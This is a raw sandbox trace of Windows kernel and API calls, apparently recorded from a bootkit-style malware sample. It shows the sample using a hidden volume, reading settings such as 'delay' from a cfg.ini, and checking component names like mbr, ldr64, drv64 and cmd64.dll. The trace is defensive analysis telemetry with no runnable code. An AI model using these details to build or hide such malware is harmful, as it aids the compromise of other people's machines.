[0120.935] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.935] KeLeaveCriticalRegion () [0120.935] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.935] KeEnterCriticalRegion () [0120.935] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.935] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0120.935] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.935] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.935] KeLeaveCriticalRegion () [0120.935] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.935] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.935] KeEnterCriticalRegion () [0120.935] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.935] ExFreePoolWithTag (P=0xfffffa8003bc9cc0, Tag=0x0) [0120.935] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.935] KeLeaveCriticalRegion () [0120.935] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.935] ReleaseMutex (hMutex=0xf0) returned 1 [0120.935] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.935] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.935] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.935] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.935] KeEnterCriticalRegion () [0120.935] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.935] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.935] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.935] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.935] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.935] IdePortDispatch () returned 0x103 [0120.935] KeWaitForMutexObject () returned 0x0 [0120.936] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.936] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.936] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.936] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.936] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.936] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.936] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.936] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.936] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.936] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.936] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.936] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.936] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.936] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.936] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.936] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.936] KeLeaveCriticalRegion () [0120.936] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.936] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.936] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.936] KeEnterCriticalRegion () [0120.936] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.936] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.936] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.936] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.936] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.936] IdePortDispatch () returned 0x103 [0120.936] KeWaitForMutexObject () returned 0x0 [0120.936] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.936] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.936] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.936] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.936] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.936] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.936] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.936] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.936] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.937] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.937] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.937] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.937] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.937] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.937] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.937] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.937] KeLeaveCriticalRegion () [0120.937] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.937] ReleaseMutex (hMutex=0x100) returned 1 [0120.937] Sleep (dwMilliseconds=0x2bf20) [0120.943] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b491c30, dwHighDateTime=0x1d24fa4)) [0120.943] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.943] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.943] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.943] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.943] KeEnterCriticalRegion () [0120.943] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.943] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.943] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.943] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.943] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.943] IdePortDispatch () returned 0x103 [0120.943] KeWaitForMutexObject () returned 0x0 [0120.944] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.944] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.944] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.944] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.944] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.944] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d9410 [0120.944] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.944] KeLeaveCriticalRegion () [0120.944] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.944] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.944] KeEnterCriticalRegion () [0120.944] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.944] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.944] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.944] KeLeaveCriticalRegion () [0120.944] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.944] KeEnterCriticalRegion () [0120.944] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.944] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.944] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.944] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.944] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.944] IdePortDispatch () returned 0x103 [0120.944] KeWaitForMutexObject () returned 0x0 [0120.944] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.944] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.944] KeLeaveCriticalRegion () [0120.944] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.944] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.944] KeEnterCriticalRegion () [0120.944] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.945] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800352b000 [0120.945] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.945] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.945] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.945] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.945] IdePortDispatch () returned 0x103 [0120.945] KeWaitForMutexObject () returned 0x0 [0120.945] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.945] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.945] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.945] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.945] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.945] IdePortDispatch () returned 0x103 [0120.945] KeWaitForMutexObject () returned 0x0 [0120.945] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.945] KeLeaveCriticalRegion () [0120.945] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.946] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.946] KeEnterCriticalRegion () [0120.946] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.946] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.946] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.946] KeLeaveCriticalRegion () [0120.946] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.946] KeEnterCriticalRegion () [0120.946] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.946] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0120.946] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd9c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.946] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.946] KeLeaveCriticalRegion () [0120.946] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.946] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.946] KeEnterCriticalRegion () [0120.946] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.946] ExFreePoolWithTag (P=0xfffffa80039d9410, Tag=0x0) [0120.946] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.946] KeLeaveCriticalRegion () [0120.946] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.946] ReleaseMutex (hMutex=0xf0) returned 1 [0120.946] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.946] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.946] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.946] KeEnterCriticalRegion () [0120.946] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.946] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.946] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.946] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.946] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.946] IdePortDispatch () returned 0x103 [0120.946] KeWaitForMutexObject () returned 0x0 [0120.946] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.947] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.947] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.947] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.947] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.947] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbe950 [0120.947] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.947] KeLeaveCriticalRegion () [0120.947] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.947] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.947] KeEnterCriticalRegion () [0120.947] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.947] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.947] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.947] KeLeaveCriticalRegion () [0120.947] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.947] KeEnterCriticalRegion () [0120.947] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.947] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.947] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.947] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.947] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.947] IdePortDispatch () returned 0x103 [0120.947] KeWaitForMutexObject () returned 0x0 [0120.947] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.947] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.947] KeLeaveCriticalRegion () [0120.947] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.947] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.947] KeEnterCriticalRegion () [0120.947] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.947] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800352c000 [0120.947] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.947] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.947] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.947] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.947] IdePortDispatch () returned 0x103 [0120.948] KeWaitForMutexObject () returned 0x0 [0120.948] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.948] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.948] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.948] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.948] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.948] IdePortDispatch () returned 0x103 [0120.948] KeWaitForMutexObject () returned 0x0 [0120.948] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.948] KeLeaveCriticalRegion () [0120.948] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.948] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.948] KeEnterCriticalRegion () [0120.948] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.948] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.948] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.948] KeLeaveCriticalRegion () [0120.949] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.949] KeEnterCriticalRegion () [0120.949] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.949] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0120.949] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.949] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.949] KeLeaveCriticalRegion () [0120.949] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.949] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.949] KeEnterCriticalRegion () [0120.949] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.949] ExFreePoolWithTag (P=0xfffffa8003bbe950, Tag=0x0) [0120.949] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.949] KeLeaveCriticalRegion () [0120.949] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.949] ReleaseMutex (hMutex=0xf0) returned 1 [0120.949] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.949] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.949] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.949] KeEnterCriticalRegion () [0120.949] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.949] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.949] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.949] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.949] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.949] IdePortDispatch () returned 0x103 [0120.949] KeWaitForMutexObject () returned 0x0 [0120.949] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.949] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.949] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.949] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.949] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.949] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bce0a0 [0120.949] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.949] KeLeaveCriticalRegion () [0120.949] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.949] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.950] KeEnterCriticalRegion () [0120.950] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.950] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.950] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.950] KeLeaveCriticalRegion () [0120.950] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.950] KeEnterCriticalRegion () [0120.950] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.950] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.950] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 